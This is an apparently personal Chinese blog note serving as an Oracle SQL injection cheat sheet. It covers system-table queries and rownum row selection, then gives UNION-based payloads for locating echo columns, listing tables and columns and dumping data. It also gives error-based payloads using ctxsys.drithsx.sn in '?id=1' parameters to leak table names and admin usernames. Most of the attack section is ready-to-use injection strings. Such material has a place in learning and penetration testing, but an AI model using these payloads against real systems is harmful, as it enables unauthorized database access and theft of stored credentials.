Oracle注入

Oracle

查询出所有的表

select * from all_tables 

查询出当前用户的表

select * from user_tables 

查询出所有的字段

select*from all_tab_columns 

查询出当前用户的字段

select*from user_tab_columns  

查版本

select*from v$version 

查询第一行

select * from all_tables where rownum=1

查询多行,参考实现limit的功能的

实现limit的功能

  1. rownum输出
select * from all_tables where rownum=1; // 输出一行;
select * from all_tables where rownum<3; // 输出两行
select * from all_tables where rownum<n; // 输出n-1行
  1. 查询结果去掉没用的
select password from admin where password<>'asd123';
select password from admin where password<>'asd123' and password<>'zxc12312ws';
  1. 基于行数别名的子查询
查询admin表中的username字段,并在字段前面加上行号,想要利用行号就必须得取个别名,不然会和外面查询的rownum冲突 : 
select rownum as rr, username from admin;
select username from (select rownum as rr, username from admin) where rr = 1;
想要改变行数只需要改变行号就可以了 : 
select username from (select rownum as rr, username from admin) where rr = 2;

注入手法

显错注入

  1. 查询当前数据库字段,查看回显点
order by n
union all select null,null,null,null from user_tables 
  1. 查询当前数据库(表)(oracle弱化了库,强调用户)
union all select null,table_name,null,null from user_tables 
  1. 查询当前数据表中字段
union all select null,column_name,null,null from user_tab_columns where table_name = '表名'
  1. 查询数据
union all select null,null,null,字段名 from 表名
  1. 只允许输出一条数据的

模拟limit

union all select null,null,null,字段名 from (select rownum as r, 字段名 from 表名) where r=1

查询结果去掉没用的

union all select null,null,null,字段名 from 字段名 where 字段名<>数据 and 字段名<>数据

报错注入

需要用到的函数 CTXSYS.DRITHSX.SN(用户,(查询的语句)) 查询数据库版本

  • 去查询关于主题的对应关键字,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)
  1. 查询表
?id=1 and 1= ctxsys.drithsx.sn(1,(select table_name from (select rownum r,table_name from user_tables) where r=1))
  1. 数据字段
ctxsys.drithsx.sn(1,(select column_name from (select rownum r,column_name from user_tab_columns where table_name='ADMIN') where r=1))
  1. 数据
?id=1 and 1= ctxsys.drithsx.sn(1,(select uname from (select rownum r,uname from admin) where r=1))
posted @ 2022-07-12 16:31  余星酒  阅读(108)  评论(0)    收藏  举报